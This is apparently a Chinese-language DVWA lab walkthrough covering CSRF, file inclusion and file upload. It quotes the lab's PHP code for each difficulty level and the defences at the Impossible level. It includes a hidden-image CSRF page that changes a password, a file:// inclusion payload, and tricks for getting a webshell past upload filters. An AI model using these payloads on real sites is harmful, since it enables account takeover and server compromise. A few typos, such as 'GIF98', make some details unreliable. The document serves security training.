CSRF,全称 Cross- site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息( cookie,会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盜取cookie而是直接利用
Low代码分析
<?php
#看是否提交了change参数,直接检查是否新设置密码及其确认密码
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
构造恶意链接
http://ip/dvwa/vulnerabilities/csrf/passwordnew=password&passwordconf=password&Change=Change#
当用户在当前 cookie没有过期时,点击该链接完成用户密码修改
headers里面location指明了要跳转的链接。
漏洞高级利用
构造恶意页面,但是使用img标莶隐藏真实目的
<html>
<head>
</head>
<body>
<img src="http://ip/dvwa/vulnerabilities/csrf/?passwordnew=hack&passwordconf=hack&change=Change# border="0" style="display:none;" />
<h1>404<h1>
<h2>file not found. <h2>
</body>
</html>
用户使用浏览器访问该页面时,就会被修改。
注意:如果用户用A浏览器访问站点,又使用B浏览器访问恶意页面,不会触发漏洞。
Medium
PHP 函数 eregi()
语法
int eregi(string pattern, string string, [array regs]);
定义和用法
eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。
<?php
$password = "abc";
if (! eregi ("[[:alnum:]]{8,10}", $password))
{
print "Invalid password! Passwords must be from 8 - 10 chars";
}
else
{
print "Valid password";
}
?>
可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
我们可以将攻击页面命名为ip.html(页面被放置在攻击者的服务器里)就可以绕过了。
Http_Host=Server_Name:Server_Port
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
#过滤规则是http的referer参数的值中必须包含主机名(cmd ipconfig获取)
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
High
只有获取token才能进行CSRF,但是浏览器的跨域问题,不能直接获取,所以比较难以利用。但是如果服务器存在存储XSS可以来获取token。然后构造url和代码进行CSRF利用。
文件包含
File Inclusion,意思是文件包含(漏洞),是指当服务器开启 allow_url_include选项时,就可以通过php的某些特性画数( include(), require()和 include_once(), require_once()。利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_ fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
文件包含常配合文件上传,用来获取webshell。
#str_replace及其不安全,通过双写即可绕过。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
Medium
使用 fnmatch()确保$file是以file开头
包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护第略
http://127.0.0.1/script.php?page=file://E:\\phpstudy\\PHPTutorial\\WWW\flag.txt
至于代码执行,需要配合文件上传漏利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意代码执行。
flag.txt里面是
<?php
phpinfo();
?>
Impossible
白名单验证
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
文件上传
Upload文件上传
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检査使得可以通过上传webshll获取服务器权限,因此文件上传漏洞带来的危害常常是毁灭性的。
LOW
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
#设置文件上传路径
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
#basename(path, suffix)
#返回path中的文件名部分,如果可选参数 suffix为空,
#则返回的文件名中包含后缀名,反之不包含后缀名。
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
上传一个木马文件。
…/…/表示上传到上两级路径下。那么vulneralilities/upload就没有了。拼接路径后得到:http://ip/DVWA/hackable/uploads/angle.php
使用冰蝎链接:
冰蝎使用参考:冰蝎3.0的使用方法与默认密码更改方法
又因为开启了url_include
Medium
如果只是修改后缀,则被当作jpeg文件,就不能执行php的webshell代码。
绕过方法,本地修改名称为.jpeg。则被识别为img/jpeg。在burpsuite抓包中,修改文件名为.php,则能够绕过,使得最终保存在服务器的文件是.php文件。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
#验证文件名字,验证文件类型
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
High
getimagesize用来检测文件头。
绕过文件头:在webshell代码开头添加:GIF98
绕过getimagesize的检测。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
#只允许上传三种
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
#getimagesize用来检测文件头。
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
Impossible
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
#目标文件重命名,使用了md5加密。随机化的uid。阻断00截断攻击,使文件名收到服务器控制而不是用户控制。
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
防御
1.上传文件进行了重命名(为md5值,异致%00截断无法绕过过滤规则)。
2.加入Anti- CSRF token防护CSRF攻击。
3.对文件的内容作了严格的检杏,导致攻击者无法上传含有恶意脚本的文件